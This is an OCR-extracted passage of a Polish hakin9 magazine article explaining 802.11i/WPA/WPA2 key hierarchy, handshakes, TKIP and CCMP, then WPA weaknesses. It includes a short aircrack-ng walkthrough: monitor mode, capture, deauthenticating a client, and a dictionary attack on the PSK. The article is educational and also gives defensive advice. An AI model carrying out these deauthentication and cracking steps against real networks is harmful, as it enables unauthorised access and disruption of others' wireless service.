sunek 6 ilustruje przebieg drugiej fazy.

Faza 3: Hierarchia

i dystrybucja kluczy
Bezpieczenstwo potgczenia w du-
zym stopniu zalezy od tajnych kluczy.
Kazdy klucz ma w architekturze RSN
ograniczony czas waznosci, a ogoélne
bezpieczenstwo zapewnia caty zbiér
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Rysunek 3. Zgodny ze specyfikacjg IEEE model architektury 802.1X

Uzgodnienie

A

polityk bezpieczenstwa

Uwierzytelnianie 802.1x

A

Wyprowadzenie

Y

Dystrybucja klucza MK

A

i dystrybucja klucza
Dane RSNA

\/

za pomocg serwera RADIUS

A

poufnos¢ i integralnosc

\/

Rysunek 4. Fazy dziatania protokotu 802.11i

Zadanie Probe Request

\ 4

Odpowiedz Probe Response + RSN |E

A

CCMP Mcast, CCMP Ucast, 802.1x auth

802.11 Open System Authentication

\/

802.11 Open System Authentication — Sukces

A

zadanie Association Request + RSN IE

\/

STA request CCMP Mcast, CCMP Ucast, 802.1x auth

Odpowiedz Association Response — Sukces

<
<

Rysunek 5. Faza 1: uzgodnienie polityki bezpieczerstwa

réznych  kluczy, zorganizowanych
w hierarchie. Po udanym uwierzytel-
nieniu tworzony jest bezpieczny kon-
tekst komunikacji, po czym tymczaso-
we klucze sesji sq tworzone i regular-
nie aktualizowane az do zamkniecia
kontekstu. Celem trzeciej fazy jest wy-
generowanie i wymiana kluczy. W ra-
mach generowania kluczy wykorzy-
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stywane sg dwie procedury negocja-
cji (patrz Rysunek 7):

» czteroetapowa negocjacja (4-
Way Handshake) dla ustalenia
kluczy tymczasowych: pojedyn-
czego PTK (Pairwise Transient
Key) i grupowego GTK (Group
Transient Key),




Bezpieczenstwo WEP, WPA i WPA2

* negocjacja klucza grupowego dla
odnowienia klucza GTK.

Proces generowania pojedynczego
klucza gtéwnego PMK (Pairwise Ma-
ster Key) rézni sie w zaleznosci od sto-
sowanej metody uwierzytelniania:

» jesliuzywany jest z géry ustalony
klucz PSK (Pre-Shared Key), to
PMK = PSK. PSK jest generowa-
ny na podstawie hasta (od 8 do
63 znakdéw) lub ciggu 256-bito-
wego i jest przeznaczony dla sie-
ci domowych i matych sieci fir-
mowych nieposiadajacych ser-
wera uwierzytelniajgcego,

» jesli uzywany jest serwer uwie-
rzytelniajacy, to PMK jest wyli-
czany z klucza gtéwnego MK dla
802.1X.

Sam klucz PMK nie jest nigdy uzy-
wany do szyfrowania czy sprawdza-
nia integralnosci. Dopiero na jego pod-
stawie generowany jest tymczasowy
klucz szyfrujacy — w przypadku trans-
misji pojedynczej bedzie nim PTK.
Dtugos¢ PTK zalezy od stosowanego
protokotu szyfrujgcego — 512 bitow dla
TKIP, 384 bity dla CCMP. Klucz PTK
sktada sie z kilku kluczy tymczaso-
wych o konkretnych zastosowaniach:

» KCK (Key Confirmation Key — 128
bitéw): klucz do generowania ko-
du uwierzytelniajagcego wiadomo-
sci (MIC), uzywany w ramach ne-
gocjacji czteroetapowej i negocja-
cji klucza grupowego,

* KEK (Key Encryption Key — 128
bitéw): klucz do zapewniania po-
ufnosci danych w czasie nego-
cjacji czteroetapowej i negocja-
cji klucza grupowego,

*  TK (Temporary Key — 128 bitow):
klucz do szyfrowania danych
(uzywany przez TKIP i CMMP),

*  TMK (Temporary MIC Key — 2x64
bity): klucz do uwierzytelnia-
nia danych (uzywany wytgcznie
przez algorytm Michael z TKIP).
Dla kazdej z komunikujacych sie
stron uzywany jest osobny klucz.

Hierarchie kluczy przedstawia Ry-
sunek 8.

802.1X/EAP — zadanie danych
__ 0 tozsamoéci

<

802.1X/EAP — odpowiedz z danymi
o tozsamosci

\/

<—| 802.1X 4— RADIUS

Dostep do RADIUS

>
Zadanie danych o tozsamosci

Komunikaty EAP charakterystyczne dla wybranej metody

<
<

| Wyprowadzenie klucza MK

>

Wyprowadzenie klucza MK

_ RADIUS Accept

 (dystrybucja klucza MK — patrz faza 3)

802.1X/EAP — sukces

<
<

Rysunek 6. Faza 2: uwierzytelnianie 802.1X

<—| 802.1X

Step 2 : 4-Way Handshake

__ Wyprowadzenie i dystrybucja PTKi GTK

_— <—| RADIUS

>

Step 3 : Group Key Handshake

__ wyprowadzenie GTK (w celu odnowienia)

<

>

Step 1 : transmisja klucza MK z AS do AP

Rysunek 7. Faza 3: generowanie i dystrybucja kluczy

Proces negocjacji czteroetapo-
wej, inicjowany przez punkt dostepo-
wy, ma na celu:

» potwierdzenie, ze klient faktycz-
nie zna klucz PMK,

* wygenerowanie nowego klucza
PTK,

» instalacje kluczy szyfrowania i in-
tegralnosci,

» szyfrowanie
GTK,

* potwierdzenie wyboru zestawu
szyfréw.

transportu  klucza

Podczas negocjacji czteroetapowe;j,
miedzy klientem a punktem dostepo-
wym wymieniane sg cztery komuni-
katy EAPOL-Key. Proces ten ilustru-
je Rysunek 9.

Klucz PTK jest wyliczany na pod-
stawie: klucza PMK, statego ciggu
znakoéw, adresu MAC punktu doste-

powego, adresu MAC klienta i dwoch
losowych wartosci jednorazowych
ANonce i SNonce, generowanych
odpowiednio przez podmiot uwierzy-
telniajacy i petenta. Punkt dostepo-
wy inicjuje caty proces generujac lo-
sowg wartos¢ ANonce i wysytajac ja
petentowi bez szyfrowania czy wpro-
wadzania jakichkolwiek zabezpieczen
integralnosci. Petent generuje wita-
sng wartos¢ losowg SNonce i znajac
ANonce moze juz wyliczy¢ PTK i tym-
czasowe klucze pochodne, wiec od-
syta SNonce oraz kod MIC uzyskany
dzieki kluczowi KCK z drugiej wiado-
mosci. Podmiot uwierzytelniajacy od-
biera wiadomos$¢ i pobiera z niej war-
tos¢ SNonce (wiadomos¢ nadal nie
jest szyfrowana), wiec moze wyliczy¢
klucz PTK i pochodne klucze tymcza-
sowe, a dzieki temu sprawdzi¢ po-
prawnos¢ kodu MIC w drugiej wiado-
mosci. Poprawna wartos¢ MIC ozna-

hakin9 Nr 1/2006

www.hakin9.org




(

Temat numeru

Bity 0-127
KCK

Bity 128-255
KEK

PMK

| Losowe SNonce |

_ Klucz EAPoL

Bity 256-383
TEK (=TK)

PRF wykorzystujgcy HMAC-SHA1

X = 512 (TKIP)
X = 384 (CCMP)

Bity 384-447
TMK1

Bity 448-511
TMK2

| Losowy ANonce |

Stacja wyprowadza
GTK

Klucz EAPoL

— ANonce + AP RSN |[E

Uwierzytelnianie
wiadomosci za pomocg
KCK

_ Klucz EAPoL

SNonce + MIC + STARSN IE

AP wyprowadza
PTK, inicjalizuje GMK
i oblicza GTK

Synchronizacja pomiedzy
dwoma systemami
przed szyfrowaniem

MIC + GTK encrypted + AP RSN |E

Klucz EAPoL — ACK

GTK zaszyfrowane
za pomocg KEK

MIC

\ Instalacja
PTKi GTK

port otwarty

»802.1X — nadzorowany

A\

%(

Instalacja S
PTKi GTK

PTK = PRF-X(PMK, « Pairwise key expansion »,

Min (AP_Mac, STA Mac)
Min (ANonce, SNonce)

|| Max (AP_Mac, STA Mac) ||

| | Max (ANonce, SNonce))

Rysunek 9. Faza 3: negocjacja czteroetapowa

cza, ze petent zna klucz i poprawnie
wyliczyt klucz PTK oraz pochodne klu-
cze tymczasowe.

Trzeci komunikat jest wysytany
do petenta i zawiera zaszyfrowany
kluczem KEK klucz GTK, wyliczony
na podstawie losowego GMK i war-
tosci GNonce (wida¢ to doktadnie
na Rysunku 10). Wysytany jest row-
niez kod MIC dla trzeciego komuni-
katu, uzyskany przy pomocy klucza
KCK. Po odebraniu wiadomosci pe-
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tent sprawdza MIC by upewni¢ sie,
ze punkt dostepowy zna klucz PMK
i poprawnie wyliczyt klucz PTK oraz
pochodne klucze tymczasowe.
Ostatni komunikat potwierdza
zakonczenie negocjacji i sygnalizu-
je, ze petent instaluje klucz i bedzie
go uzywat do szyfrowania. Po ode-
braniu komunikatu i weryfikacji jego
kodu MIC, podmiot uwierzytelniajacy
réwniez instaluje klucz i przechodzi
do szyfrowania. W ten sposdb klient

www.hakin9.org

i punkt dostepowy uzgodnili, wyli-
czyli i zainstalowali klucze szyfruja-
ce, ktorych mogg odtad uzywac do
stworzenia bezpiecznego kanatu ko-
munikacji w transmisji pojedyncze;j.

Transmisje grupowe chroni sto-
sowny klucz tymczasowy GTK (Gro-
up Transient Key), generowany na
podstawie gtéwnego klucza gru-
powego GMK (Group Master Key),
statego ciggu znakow, adresu MAC
punktu dostepowego oraz wartosci
losowej GNonce. Diugos¢ GTK zale-
zy od protokotu szyfrujgcego — 256
bitow dla TKIP, 128 bitéw dla CCMP.
GTK dzieli sie¢ na specjalizowane klu-
cze tymczasowe:

« GEK (Group Encryption Key)
— klucz do szyfrowania danych
(uzywany przez TKIP i przez
CCMP do szyfrowania i uwierzy-
telniania),

*  GIK (Group Integrity Key) — klucz
do uwierzytelniania danych (uzy-
wany tylko przez algorytm Micha-
el w TKIP).

Hierarchie kluczy grupowych przed-
stawia Rysunek 10.

W ramach negocjacji klucza gru-
powego miedzy klientem a punktem
dostepowym wymieniane sg dwa ko-
munikaty EAPOL-Key. Proces nego-
cjacji wykorzystuje tymczasowe klu-
cze KCK i KEK wygenerowane pod-
czas negocjacji czteroetapowej — ilu-
struje to Rysunek 11.

Jedynym celem negocjacji klu-
cza grupowego jest anulowanie sko-
jarzenia klienta i odnowienie klucza
GTK na jego zgdanie. Podmiot uwie-
rzytelniajgcy wybiera losowg licz-
be GNonce i generuje nowy klucz
GTK, a nastepnie, po zaszyfrowaniu
go kluczem KEK, wysyta go do pe-
tenta, wraz z numerem sekwencyj-
nym GTK oraz kodem MIC wiadomo-
$ci wyliczonym za pomocg KCK. Po
otrzymaniu komunikatu klient spraw-
dza kod MIC, po czym mozliwe staje
sie odszyfrowanie klucza GTK.

Drugi komunikat jest wysytany
przez klienta jako potwierdzenie ne-
gocjacji klucza grupowego i zawie-
ra numer sekwencyjny klucza GTK
oraz kod MIC tej dla wiadomosci.
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Po otrzymaniu komunikatu i spraw-
dzeniu wartosci kodu MIC, podmiot
uwierzytelniajgcy instaluje nowy
klucz GTK.

Istnieje tez procedura negocjaciji
klucza STAkey, ale nie bedziemy jej
tu omawiaé. Jej celem jest wygene-
rowanie przez punkt dostepowy taj-
nego klucza tymczasowego o na-
zwie STAkey, uzywanego do obstugi
potaczen zestawianych na zadanie.

Faza 4: poufnos¢

i integralnos¢ danych RSNA
Wszystkie klucze wygenerowane w
poprzednich etapach sg wykorzysty-
wane w protokotach zapewniania po-
ufnosci i integralnosci danych RSNA:

» TKIP (Temporal Key Hash),

« CCMP  (Counter-Mode/Cipher
Block Chaining Message Au-
thentication Code Protocol),

*  WRAP (Wireless Robust Authen-
ticated Protocol).

Zanim szczegotowo poznamy po-
szczegolne protokoty, konieczne jest
dokfadne zrozumienie réznicy miedzy
jednostkami danych MSDU (MAC Se-
rvice Data Unit) a MPDU (MAC Pro-
tocol Data Unit). Obie jednostki odpo-
wiadajg pojedynczemu pakietowi da-
nych, ale MSDU odpowiada pakietowi
przed fragmentacjg, natomiast MPDU
to czes¢ pierwotnego pakietu po frag-
mentacji. Réznica miedzy tymi jed-
nostkami jest istotna w przypadku szy-
frowania TKIP i CCMP, gdyz w TKIP
kod MIC jest wyliczany na podstawie
MSDU, podczas gdy w CCMP jest on
wyliczany z MPDU.

Podobnie do protokotu WEP,
TKIP oparty jest na algorytmie RC4,
lecz powdd jego istnienia jest tylko je-
den: umozliwienie przysztej aktuali-
zacji systemow WEP do obstugi bar-
dziej bezpiecznego protokotu. Obstu-
ga TKIP jest wymagana do uzyska-
nia certyfikacji WPA, natomiast w ra-
mach RSN 802.11i jest tylko opcjonal-
na. TKIP implementuje mechanizmy
majace na celu zaradzenie opisanym
wczesniej podatnosciom WEP:

» zapewnianie integralnosci — no-
wy kod integralnosci wiadomo-

Bity 0-127
GEK

GTK zaszyfrowane | Klucz EAPoL (MIC, GTK, grupowy)

PRF wykorzystujgcy HMAC-SHA1

X = 256 (TKIP)
X = 128 (CCMP)

GIK TKIP

-r—_ = = = — "

=

GMK+ Gnonce
+ GTK calculation

4

za pomocg KEK

Odszyfrowanie GTK

Klucz EAPoL (grupowy, MIC)

PTKiGTK

Uwierzytelnianie wiadomosci

AP _Mac || GNonce))

| za pomoca KCK

GTK = PRF-256(GMK, Group Key Expansion,

Rysunek 11. Faza 3: negocjacja klucza grupowego

Sci (MIC) o nazwie Michael mo-
ze by¢ implementowany nawet
w oprogramowaniu dziatajgcym
na powolnych procesorach,

*  WI - nowe reguty wyboru wartosci
WI, wykorzystanie WI jako licznika
powtorzen (TSC — TKIP Sequence
Counter) oraz inkrementacja kolej-
nych WI w celu zapobiegania ata-
kom powtérzeniowym,

* mieszanie klucza dla pojedyn-
czych pakietow (Per Packet Key)
— mozliwo$¢ stosowania pozor-
nie niepowigzanych kluczy szy-
frujgcych,

» zarzadzanie kluczami: nowy me-
chanizm zarzadzania kluczami
i ich wymiang.

Proces mieszania klucza TKIP sktada
sie zdwaoch etapdéw. Etap pierwszy wy-
korzystuje dane statyczne: tajny klucz
sesji (TEK), adres MAC nadawcy (po-

zwalajgcy unikngg kolizji WI) oraz star-
sze 32 bity WI. Etap drugi korzysta
z wyniku etapu pierwszego oraz mtod-
szych 16 bitow WI, zmieniajac wszyst-
kie bity pola Per Packet Key dla kolej-
nych nowych WI. Wartos¢ WI zawsze
zaczyna sie od 0 i jest zwiekszana o 1
dla kazdego wysytanego pakietu, przy
czym odrzucane sg wszystkie pakie-
ty, w ktoérych wartos¢ licznika TSC nie
jest wieksza od wartosci dla poprzed-
niego pakietu. Wynik drugiej fazy mie-
szania, czesc¢ rozszerzonego WI oraz
dodatkowy bit sg podawane na wej-
Sciu algorytmu RC4. Wygenerowa-
ny w ten sposob strumien klucza jest
XOR-owany z MPDU tekstu jawne-
go, kodem MIC wyliczonym dla tego
MPDU i starym ICV protokotu WEP
(patrz Rysunek 12).

Wyliczanie kodu MIC wykorzystu-
je stworzony przez Nielsa Fergusona
algorytm Michael. Zostat on stworzo-
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Temat numeru

(nizsze)

Y

16 bitow 1V |32 bity IV
(wyzsze)

TTAC (TKIP-mixed Transmit Adress

and Key) — 80 bitow

MIC = Michat (TMK + SA + DA +
priorytet + tekst)

MIC

ICV = CRC
(tekst || MIC)

ICV

Y
MIC

ICV

Ex
v

Y

d = pusty bajt | v | d | v | Per-Packet Key (104 bity) |
(unikniecie stabych =
kluczy) | ST 7T
) 24 bity | G
RC4 - :
Strumien szyfrujacy i
A 7 < >
Nagtowek IV / KeylD Extended IV _ MIC ICV FCS
MAC 4 oktety 4 oktety Dane (PDU) >= 1 oktet 8 oktetow| 4 oktety | 4 oktety

<
<

Rysunek 12. Mieszanie kluczy i szyfrowanie TKIP

ny specjalnie dla potrzeb TKIP a za-
tozony w nim poziom bezpieczenstwa
ma 20 bitdéw (przy czym ze wzgledéw
wydajnosciowych nie moze korzy-
sta¢ z operacji mnozenia, gdyz musi
by¢ obstugiwany rowniez na starszym
sprzecie przeznaczonym do przysziej
aktualizacji do WPA). Ograniczony po-
ziom bezpieczenstwa wymaga dodat-
kowych zabezpieczen przed fatszo-
waniem kodu MIC. Wiecej niz jedno
niepowodzenie weryfikacji kodu MIC
na minute powoduje zablokowanie
komunikacji na 60 sekund, po czym
konieczne jest ustalenie nowych klu-
czy GTK i PTK. Wyliczany przez Mi-
chaela MIC jest o$miooktetowg war-
toscig kontrolng dotgczang do kazde-
go MSDU przed jego wystaniem. MIC
jest wyliczany na podstawie adresu
nadawcy, adresu odbiorcy, nieszyfro-
wanego MSDU i odpowiedniego klu-
cza TMK (do wysytania i odbioru wia-
domosci uzywane sg rézne klucze).
Protokét CCMP bazuje na szy-
frze blokowym AES (Advanced En-
cryption Standard) w trybie CCM
z kluczem i blokami o dtugos$ci 128
bitéw. Z pozoru mogtoby sie zdawag,
ze szyfr AES jest dla CCMP tym,
czym RC4 dla TKIP, jednak w prze-
ciwienstwie do TKIP, ktérego celem
jest jedynie utrzymanie obstugi star-
szego sprzetu, CCMP nie jest kom-
promisem, lecz zupetnie nowym pro-
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tokotem. CCMP generuje kod MIC
w trybie licznika metodg uwierzytel-
niania CBC (Cipher Block Chaining).
W nowym protokole pojawito sie
kilka ciekawych rozwigzan, na przy-
ktad wykorzystanie tego samego
klucza z ré6znymi WI do szyfrowania
i uwierzytelniania, albo objecie uwie-
rzytelnianiem réwniez danych nie-
szyfrowanych. Protokét CCMP roz-
szerza MPDU o dodatkowych 16
bajtéw: 8 bajtéw na nagtéwek CCMP
i osiem bajtéw na kod MIC. Nagto-
wek CCMP jest nieszyfrowanym po-
lem umieszczanym miedzy nagtéw-
kiem MAC a szyfrowanymi danymi
i zawierajgcym 48-bitowy numer pa-
kietu (czyli rozszerzony WI) oraz po-
le klucza grupowego KeyID. Numer
pakietu jest zwiekszany o jeden dla
kazdego kolejnego MPDU.
Obliczanie kodu MIC odbywa sie
za pomocg algorytmu CBC-MAC.
Jego dziatanie polega na zaszyfro-
waniu poczatkowej wartosci jednora-
zowej (wyliczonej na podstawie war-
tosci pola Priority, adresu zrodtowe-
go MPDU oraz zwiekszonego nume-
ru pakietu), po czym XOR-owaniu jej
z kolejnymi blokami az do uzyska-
nia ostatecznego 64-bitowego kodu
MIC (wynikiem obliczen jest wpraw-
dzie 128 bitow, ale mtodsze 64 bi-
ty sg odrzucane). Kod MIC jest na-
stepnie dotagczany do tekstu jawnego
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a catos¢ zostaje zaszyfrowana algo-
rytmem AES w trybie licznikowym.
Licznik jest tworzony na podstawie
wartosci jednorazowej podobnej do
tej stosowanej dla kodu MIC, ale za-
wierajgcej dodatkowe pole licznika,
inicjalizowane jedynka i zwiekszane
dla kazdego kolejnego bloku.

Istnieje tez protokdt WRAP, kto-
ry rowniez opiera sie na AES, ale
stosuje szyfrowanie uwierzytelniania
w trybie OCB (Offset Codebook Mo-
de), pozwalajgce jednoczesnie prze-
prowadzaé uwierzytelnianie i szyfro-
wanie. Grupa robocza IEEE 802.11i
pierwotnie wybrata wtasnie tryb OCB,
ale w koncu zostat on odrzucony ze
wzgledow patentowych i zwigzanej
z nimi mozliwos$ci pojawienia sie optat
licencyjnych. W jego miejsce przyjeto
CCMP jako protokot obowigzkowy.

Stabosci WPA/WPA2

Od czasu pojawienia sie na rynku
implementacji WPA/WPA2 odkryto
juz w nich kilka drobnych stabosci,
ale zadna z nich nie stanowi powaz-
nego zagrozenia — pod warunkiem
przestrzegania prostych regut bez-
pieczenstwa.

Najwieksze znaczenie praktycz-
ne ma podatno$¢ klucza PSK na
atak. Jak juz wspomnieli§my, klucz
PSK stanowi alternatywe dla wyma-
gajacego dostepnosci serwera uwie-
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SA DA

MSDU - tekst

MIC (8 oktetow)

™K

(64 bity)

Rysunek 13. Obliczanie kodu MIC algorytmem Michael

rzytelniania klucza PMK 802.1x. Klu-
czem PSK jest cigg 256 bitow lub
hasto o dtugosci od 8 do 63 znakow
uzywane do wygenerowania takie-
go ciggu. Algorytm generowania klu-
cza jest prosty: PSK = PMK = PBKD-
F2(hasto, SSID, dtugos¢ SSID,
4096, 256), gdzie PBKDF2 jest al-
gorytmem opisanym w dokumencie
PKCS#5, 4096 jest liczbg operaciji
mieszania, a 256 jest dtugoscig da-
nych wejsciowych. Klucz PTK jest
wyliczany na podstawie PMK z wy-
korzystaniem negocjacji czteroeta-
powej, a wszelkie informacje uzy-
wane do obliczenia jego wartosci sg
przesytane otwartym tekstem.

Sita klucza PTK zalezy tym sa-
mym wytacznie od klucza PMK, co
w przypadku PSK oznacza po prostu
zaleznos¢ od sity hasta. Robert Mo-
skowitz zauwazyt, ze druga wiado-
mos¢ negocjacji czteroetapowej mo-
ze by¢ poddana stownikowym i sito-
wym atakom offline. Do wykorzysta-
nia tej podatnosci stworzono narze-
dzie Cowpatty, ktérego kod zrédtowy

Nagtéwek |_
MAC Dane

zostat wykorzystany i ulepszony przez
Christophe’a Devine'a w Aircracku,
umozliwiajac tym samym ataki stow-
nikowe i sitowe na klucz PSK w komu-
nikacji WPA. Konstrukcja protokotu
— 4096 operacji mieszania na kazde
sprawdzane hasto — oznacza w prak-
tyce, ze atak sitowy jest bardzo powol-
ny (zaledwie kilkaset haset na sekun-
de na najnowszym pojedynczym pro-
cesorze). Klucza PMK nie da sie wyli-
czy¢, gdyz hasto jest dodatkowo mie-
szane na podstawie wartosci ESSID.
Skuteczna ochrona przed tg podatno-
Scig wymaga stosowania mocnych,
niestownikowych haset o dtugosci co
najmniej 20 znakdw.

Przeprowadzenie takiego ataku
wymaga od napastnika przechwyce-
nia komunikatow negocjacji czteroeta-
powej poprzez pasywne monitorowa-
nie sieci bezprzewodowej lub zasto-
sowanie opisanego wczesniej ataku
z anulowaniem uwierzytelnienia (co
znacznie przyspiesza caty proces).

W rzeczywistosci do podjecia
proby ataku na klucz PSK potrzebne

sq dwie pierwsze wiadomosci nego-
cjacji. Wzér na wartos¢ PTK to PTK
= PRF-X (PMK, rozszerzenie klucza
pojedynczego, Min(AP_Mac, STA_
Mac) || Max(AP_Mac, STA_Mac) ||
Min(ANonce, SNonce) || Max(ANon-
ce, SNonce)), gdzie (w tym przypad-
ku) PMK réwna sie PSK. Po prze-
chwyceniu dwoch pierwszych ko-
munikatéow napastnik zna wartosc
ANonce (z pierwszej wiadomosci)
wartos¢ SNonce (z drugiej wiado-
mosci) i moze rozpocza¢ zgadywa-
nie wartosci PSK, ktorej znajomosc¢
pozwoli wyliczy¢ PTK i pochodne
klucze tymczasowe. Udane odgad-
niecie PSK mozna pozna¢ po tym,
ze kod MIC wyliczony za pomocg
odtworzonego klucza KCK daje MIC
drugiej wiadomosci — w przeciwnym
razie trzeba zgadywac dalej.

Pora na praktyczny przyktad ta-
kiego ataku. Zaczynamy tak samo,
jak przy tamaniu protokotu WEP,
czyli wigczamy tryb monitorowania:

# airmon.sh start athO

Listing 7 przedstawia kolejny etap,
czyli wykrywanie pobliskich sieci
i skojarzonych z nimi klientow. Wi-
doczny wynik mozna odczyta¢ naste-
pujaco: w tej sieci bezprzewodowej
uwierzytelniony jest jeden punkt do-
stepowy o BSSID 00:13:10:1F:9A:72,
stosujacy szyfrowanie WPA na kana-

AAD

MPDU SA,

priorytet

Zwigkszenie
liczby PN

¢V Y ;

»| Tworzenie Nonce ?| Obliczenie MIC

Y A

Y

v

Tworzenie CCMP Header

Szyfrowanie CCM

v v

Y

\/

Nagtéwek CCMP Header
MAC 8 oktetow

Dane (PDU) >= 1 oktet

8 oktetow

FCS
4 oktety

<
<

AAD: dodatkowe dane uwierzytelniajace (nagtéwek MPDU)

Rysunek 14. Szyfrowanie CCMP

\

PN: liczba pakietéw = Ext IV
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Temat numeru

# airodump ath0O wpa-crk 0

Listing 7. Wykrywanie pobliskich sieci

BSSID PWR Beacons # Data CH MB ENC ESSID
00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo
BSSID STATION PWR Packets ESSID
00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo

Opening wpa-psk.cap

Read 541 packets.
BSSID
00:13:10:1F:9A:72

ESSID

Listing 8. Przeprowadzenie ataku stownikowego

$ aircrack -a 2 -w jakié plik stownika -0 wpa-psk.cap

Encryption
hakin9demo WPA (1 handshake)

[00:00:03] 524 keys tested (131.66 k/s)

Rysunek 15. Staby klucz PSK dla WPA, odkryty za pomocg Aircracka

le 1 z SSID hakin9demo oraz jeden
klient o adresie MAC 00:0C:F1:19:
77:5C (oznacza to, ze klient ten prze-
szedt pomysinie proces czteroetapo-
wej hegocjacji potaczenia).

Po zlokalizowaniu sieci docelo-
wej rozpoczynamy przechwytywanie
pakietow na odpowiednim kanale, co
pozwoli unikng¢ przeoczenia pakie-
téw podczas zbednego skanowania
innych kanatow:

# airodump ath0 wpa-psk 1

Kolejnym etapem bedzie anulowanie
uwierzytelnienia istniejgcych klientow
w celu wymuszenia ponownego ich
skojarzenia, co pozwoli przechwyci¢
komunikaty negocjacji czteroetapo-

hakin9 Nr 1/2006

wej. Aireplay moze postuzy¢ réwniez
do takiego ataku. Sktadnia dla anulo-
wania uwierzytelnienia klienta o wska-
zanym BSSID jest nastepujaca:

# aireplay -0 1 -a <BSSID>
-c <MAC_klienta> athO

Pozostaje juz tylko przeprowadzic¢
atak stownikowy z pomoca Aircracka
(patrz Listing 8). Rysunek 15 przed-
stawia wynik ataku.

Druga staboscig WPA jest podat-
nosc¢ na atak DoS (Denial of Service)
podczas negocjacji czteroetapowe;.
Jak zauwazyli Changhua He i John
C. Mitchell, pierwszy komunikat ne-
gocjacji nie jest uwierzytelniony,
w zwigzku z czym klient musi skta-
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dowaé¢ kazdy pierwszy komunikat
do momentu otrzymania poprawnie
podpisanego komunikatu trzeciego,
co z kolei otwiera droge do potencjal-
nego wyczerpania zasobow klienta.
Jesli dopuszczane jest istnienie kil-
ku rownolegtych sesji, napastnik mo-
ze przeprowadzi¢ atak DoS fatszujgc
pierwszy komunikat wysytany przez
punkt dostepowy.

Réwniez kod MIC Michael posia-
da znane stabosci, wynikajace bez-
posrednio z ograniczen narzuco-
nych przez zatozenia grupy robo-
czej 802.11i. Bezpieczenstwo Micha-
ela zalezy w catosci od szyfrowa-
nia transmisji, gdyz w przeciwien-
stwie do kryptograficznych kodow in-
tegralnosci jest on odwracalny, przez
co nie jest odporny na ataki ze zna-
nym tekstem jawnym (czyli ataki,
gdzie napastnik dysponuje zaréwno
oryginalng wiadomoscia, jak i jej ko-
dem MIC). Do wyliczenia tajnego klu-
cza MIC wystarczy jedna znana wia-
domos¢ i jej kod MIC, wiec utrzyma-
nie MIC-a w tajemnicy ma znacze-
nie absolutnie kluczowe. Ostatnig ze
znanych podatnosci jest teoretycz-
na mozliwos¢ ataku na skrét klucza
tymczasowego WPA, oznaczajaca
w pewnych warunkach (przy znajo-
mosci kilku kluczy RC4) zmniejszenie
ztozonosci ataku z 0128 do 9105.

Implementacje WPA/WPA2 dzie-
Ig tez stabosci innych mechanizmow
standardu 802.11i, na przyktad po-
datnos¢ na atak z fatszowanymi ko-
munikatami 802.1X (EAPoL Logoff,
EAPoL Start, EAP Failure itd.), opi-
sany po raz pierwszy przez Willia-
ma Arbaugha i Arunesha Mishre,
a mozliwy za sprawg braku uwie-
rzytelniania. Koniecznie trzeba tez
pamieta¢, ze stosowanie protoko-
tu WPA/WPA2 nie chroni przed ata-
kami nizszego poziomu, na przyktad
zagtuszaniem czestotliwosci radio-
wych, atakami DoS poprzez naru-
szanie standardu 802.11, anulowa-
niem uwierzytelnienia, anulowaniem
skojarzenia i tym podobnym.

Implementacje

systemowe WPA/WPA2

W przypadku systemow Windows ob-
stuga WPAZ2 nie jest wbudowana, jed-
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Stowniczek

AP (Access Point) — punkt dostepowy, stacja bazowa sieci Wi-
Fi faczaca klientdw sieci ze sobg nawzajem i innymi sieciami.
ARP (Address Resolution Protocol) — protokét ttumaczenia
adresow IP na adresy MAC.

BSSID (Basic Service Set Identifier) — adres MAC punktu
dostepowego.

CCMP (Counter-Mode / Cipher Block Chaining Message Au-
thentication Code Protocol) — protokot szyfrowania stosowa-
ny w WPA2, oparty na szyfrze blokowym AES.

CRC (Cyclic Redundancy Check) — suma kontrolna uzywana
w protokole WEP jako (bardzo staby) kod integralnosci.

EAP (Extensible Authentication Protocol) — protokdt obstu-
gujacy rozne metody uwierzytelniania.

EAPOL (EAP Over LAN)— protokot uzywany w sieciach bez-
przewodowych do transportu danych EAP.

GEK (Group Encryption Key) — klucz szyfrujacy dla transmi-
sji grupowych (w CCMP uzywany réwniez do sprawdzania
integralnosci).

GIK (Group Integrity Key) — klucz szyfrujacy dla transmisji
grupowych (uzywany w TKIP).

GMK (Group Master Key) — klucz gtéwny w hierarchii kluczy
grupowych.

GTK (Group Transient Key) — klucz tymczasowy wyliczany z
GMK.

ICV (Integrity Check Value) — dodatkowe pole dotgczane do
jawnych danych jako sprawdzenie integralnosci (uzywa sta-
bego algorytmu CRC32).

IV (Initialization Vector) — wektor inicjalizacyjny (WI), czyli
ciag faczony z kluczem szyfrujgcym w celu wygenerowania
niepowtarzalnego strumienia klucza.

KCK (Key Confirmation Key) — klucz odpowiadajacy za inte-
gralno$¢ komunikatéw negocjacii.

KEK (Key Encryption Key) — klucz odpowiadajacy za pouf-
nos¢ komunikatéw negocjaciji.

MIC (Message Integrity Code) — dodatkowe pole dotgczane
do jawnych danych jako sprawdzenie integralnosci (uzywa
algorytmu Michael).

MK (Master Key) — klucz gtéwny znany obu stronom po uda-
nym procesie uwierzytelniania 802.1X.

MPDU (Mac Protocol Data Unit) — pakiet danych przed frag-
mentacja.

MSDU (Mac Service Data Unit) — pakiet danych po fragmen-
tacji.

PAE (Port Access Entity) — port logiczny w protokole
802.1X.

PMK (Pairwise Master Key) — klucz gtéwny hierarchii kluczy
pojedynczych.

PSK (Pre-Shared Key) — klucz wyliczany na podstawie ha-
sta, zastepujacy klucz PMK wydawany przez serwer uwie-
rzytelniajacy.

PTK (Pairwise Transient Key) — klucz tymczasowy wyliczany
z PMK.

RSN (Robust Security Network) — architektura bezpieczen-
stwa 802.11i (TKIP, CCMP itd.).

RSNA (Robust Security Network Association) — bezpieczne
skojarzenie klienta w sieci RSN.

RSNIE (Robust Security Network Information Element) — po-
la zawierajgce informacje RSN z pdl Probe Response i Asso-
ciation Request.

SSID (Service Set Identifier) — identyfikator sieci bezprzewo-
dowej (nie to samo co ESSID).

STA (Station) — klient sieci bezprzewodowe;.

TK (Temporary Key) — tymczasowy klucz szyfrujacy w trans-
misji pojedynczej (w CCMP uzywany rowniez do sprawdza-
nia integralnosci).

TKIP (Temporal Key Integrity Protocol) — protokot szyfrujacy
stosowany w WPA, podobnie jak w przypadku WEP bazuja-
cy na RC4.

TMK (Temporary MIC Key) — klucz integralnosci danych w
transmisji pojedynczej (uzywany w TKIP).

TSC (TKIP Sequence Counter) — licznik powtorzen uzywany
z protokotem TKIP (nie myli¢ z rozszerzonym WI).

